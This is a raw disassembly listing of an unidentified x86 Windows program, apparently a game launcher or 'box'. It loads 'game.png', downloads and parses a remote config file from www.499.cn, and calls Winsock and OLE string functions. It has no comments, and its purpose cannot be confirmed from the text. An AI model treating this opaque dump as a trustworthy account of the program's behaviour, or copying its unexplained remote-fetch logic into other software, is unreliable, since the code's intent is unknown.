mov dword [ebp - 0x30], ebx
call fcn.0040101d
mov dword [ebp - 0x34], ecx
mov edi, dword [ebp - 0x30]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x4056b7
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x34]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x30]
call fcn.004232c5
add esp, 8
mov dword [0x594948], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x34]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x2c]
push edi
test eax, eax
je 0x4056fc
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
push 0x59494c
push 4
mov eax, 2
call fcn.004232a1
add esp, 8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ebx, dword [0x59494c]
mov dword [ebp - 0x30], ebx
call fcn.0040101d
mov dword [ebp - 0x34], ecx
mov edi, dword [ebp - 0x30]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x405746
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x34]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x30]
call fcn.004232c5
add esp, 8
mov dword [0x59494c], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x34]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x2c]
push edi
test eax, eax
je 0x40578b
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
jmp 0x405793
jmp 0x405945
push 0x594900
push 4
mov eax, 2
call fcn.004232a1
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov ebx, dword [0x594900]
mov dword [ebp - 0x30], ebx
call fcn.0040101d
mov dword [ebp - 0x34], ecx
mov edi, dword [ebp - 0x30]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x4057df
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x34]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x30]
call fcn.004232c5
add esp, 8
mov dword [0x594900], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x34]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x2c]
push edi
test eax, eax
je 0x405824
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
push 0x594948
push 4
mov eax, 2
call fcn.004232a1
add esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ebx, dword [0x594948]
mov dword [ebp - 0x30], ebx
call fcn.0040101d
mov dword [ebp - 0x34], ecx
mov edi, dword [ebp - 0x30]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x40586e
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x34]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x30]
call fcn.004232c5
add esp, 8
mov dword [0x594948], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x34]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x2c]
push edi
test eax, eax
je 0x4058b3
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
push 0x59494c
push 4
mov eax, 2
call fcn.004232a1
add esp, 8
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ebx, dword [0x59494c]
mov dword [ebp - 0x30], ebx
call fcn.0040101d
mov dword [ebp - 0x34], ecx
mov edi, dword [ebp - 0x30]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x4058fd
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x34]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x30]
call fcn.004232c5
add esp, 8
mov dword [0x59494c], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x34]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x2c]
push edi
test eax, eax
je 0x405942
push eax
mov ebx, eax
call fcn.0040213e
inc eax
push eax
call fcn.004232ad
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
pop eax
pop ebx
pop ecx
jmp 0x404fc3
add esp, 0xc
mov ebx, dword [0x594900]
call fcn.00401004
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], 1
mov eax, dword [ebp - 0x2c]
cmp eax, 0
jge 0x40597a
push 0xa
call fcn.004232b3
add esp, 4
mov dword [ebp - 0x30], eax
lea ebx, [ebp - 0x34]
call fcn.0040101d
push ecx
shl ecx, 2
add ecx, 8
push ecx
call fcn.004232ad
add esp, 4
mov edi, eax
mov dword [edi], 1
add edi, 4
pop ecx
push eax
push ecx
lea esi, [ebp - 0x30]
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov ebx, dword [0x5948fc]
call fcn.0040101d
pop edx
test ecx, ecx
je 0x4059d9
push edi
push edx
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
mov eax, dword [ebx]
call dword [eax]
call fcn.004232a7
add esp, 4
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4059be
pop edx
pop edi
test edx, edx
je 0x405a83
mov ebx, edi
push edx
push ebx
push 0x58
call fcn.004232ad
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x16
rep stosd dword es:[edi], eax
mov dword [ebx], 0x55f62e
push ebx
add ebx, 0x18
push ebx
push 0x10
call fcn.004232ad
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
pop ebx
add ebx, 8
push ebx
push 0x10
call fcn.004232ad
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebx], 0x55f68e
pop ebx
pop ebx
pop ebx
pop edx
add ebx, 4
dec edx
jne 0x4059e3
push dword [0x5948fc]
call fcn.004232a7
add esp, 4
pop eax
mov dword [0x5948fc], eax
mov ebx, dword [0x594900]
call fcn.00401004
xor ecx, ecx
push eax
lea eax, [ebp - 0x14]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x405e58
mov ebx, dword [0x5948fc]
call fcn.0040101d
push ebx
push ecx
mov eax, dword [ebp - 0x14]
dec eax
jns 0x405ad9
push 4
call fcn.004232b3
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405aec
push 1
call fcn.004232b3
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x2c], ebx
push 0x10001
push 0x6010000
push 0x52010001
push 1
mov ebx, 0x423630
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fsub qword [0x50d99e]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fmul qword [0x50d9a6]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
fadd qword [0x50d9ae]
fstp qword [ebp - 0x50]
push 0xffffffffffffffff
push 3
push 0x6010000
push 0x52010001
call fcn.004232d7
add esp, 0x10
mov dword [ebp - 0x5c], eax
fild dword [ebp - 0x5c]
fstp qword [ebp - 0x5c]
fld qword [ebp - 0x5c]
fsub qword [0x5086b5]
fstp qword [ebp - 0x64]
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x68], eax
mov ebx, dword [0x594900]
call fcn.0040101d
push ebx
push ecx
mov eax, dword [ebp - 0x14]
dec eax
jns 0x405bb3
push 4
call fcn.004232b3
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405bc6
push 1
call fcn.004232b3
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x6c], ebx
push str.game.png
mov ebx, dword [ebp - 0x6c]
push dword [ebx]
push dword [ebp - 0x68]
mov ecx, 3
call fcn.004021a9
add esp, 0xc
mov dword [ebp - 0x70], eax
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x405bfb
push ebx
call fcn.004232a7
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x70]
test eax, eax
jne 0x405c0e
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424c60
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x74], eax
mov ebx, dword [ebp - 0x70]
test ebx, ebx
je 0x405c34
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 1
jl 0x405c41
cmp eax, 6
jl 0x405c4e
push 9
call fcn.004232b3
add esp, 4
dec eax
call fcn.00405c54
add esp, 0xc
jmp 0x405efa
cmp dword [0x5948e0], 1
je 0x405efa
push 0x80000301
push 0
push 0xb
push 1
mov eax, 2
mov ebx, 0x46f420
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push 0x50d9b6
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.004021a9
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x405ebb
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [0x59490c]
test ebx, ebx
je 0x405ed2
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [0x59490c], eax
push 0
push 1
push 0xffffffffffffffff
push 5
push 0x6010000
push 0x52010001
call fcn.004232cb
add esp, 0x18
jmp 0x405efa
mov dword [ebp - 0x2c], 0
push 0
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov eax, str.http:__www.499.cn_newbox_config.txt
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.004063f6
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x405f85
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x405f95
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x405fa5
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x405fb5
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x405fc5
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x405fd5
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x405fe5
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x405ff5
push ebx
call fcn.004232a7
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x406008
mov eax, 0x5086c5
push eax
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x40602e
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x54]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x406042
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x40607d
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x406152
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4060d4
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x406152
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x40612b
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x406152
mov eax, 1
jmp 0x406154
xor eax, eax
test eax, eax
je 0x406161
jmp 0x4062fd
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.http:__www.499.cn_newbox_config.txt
push 1
mov eax, 4
mov ebx, 0x46f6d0
call fcn.004232d1
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40619a
mov eax, 0x5086c5
push eax
push 1
mov ebx, 0x424770
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4061c0
push ebx
call fcn.004232a7
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4061d4
push ebx
call fcn.004232a7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.config
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x40620f
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x4062e4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f578
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x406266
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffff
je 0x4062e4
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 1
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push 0x55f57c
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4062bd
mov eax, 0x4a7a0a
push eax
push 4
mov ebx, 0x423c60
call fcn.004232bf
add esp, 0x34
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0xffffffff
je 0x4062e4
mov eax, 1
jmp 0x4062e6
xor eax, eax
test eax, eax
je 0x4062fd
mov dword [0x594910], 1
jmp 0x4062fd
cmp dword [0x594910], 0
jne 0x406382
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x40631d
mov eax, 0x4a7a0a
push eax
push 1
mov ebx, 0x424350
call fcn.004232bf
add esp, 0x10
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x406346
mov eax, 0x5086c5
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x40635a
mov eax, 0x4a7a0a
push eax
push 2
mov ebx, 0x424cd0
call fcn.004232bf
add esp, 0x1c
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40637d
push ebx
call fcn.004232a7
add esp, 4
jmp 0x406382
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x406392
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4063a2
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4063b2
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4063c2
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4063d2
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4063e2
push ebx
call fcn.004232a7
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4063f2
push ebx
call fcn.004232a7
add esp, 4
mov esp, ebp
pop ebp
ret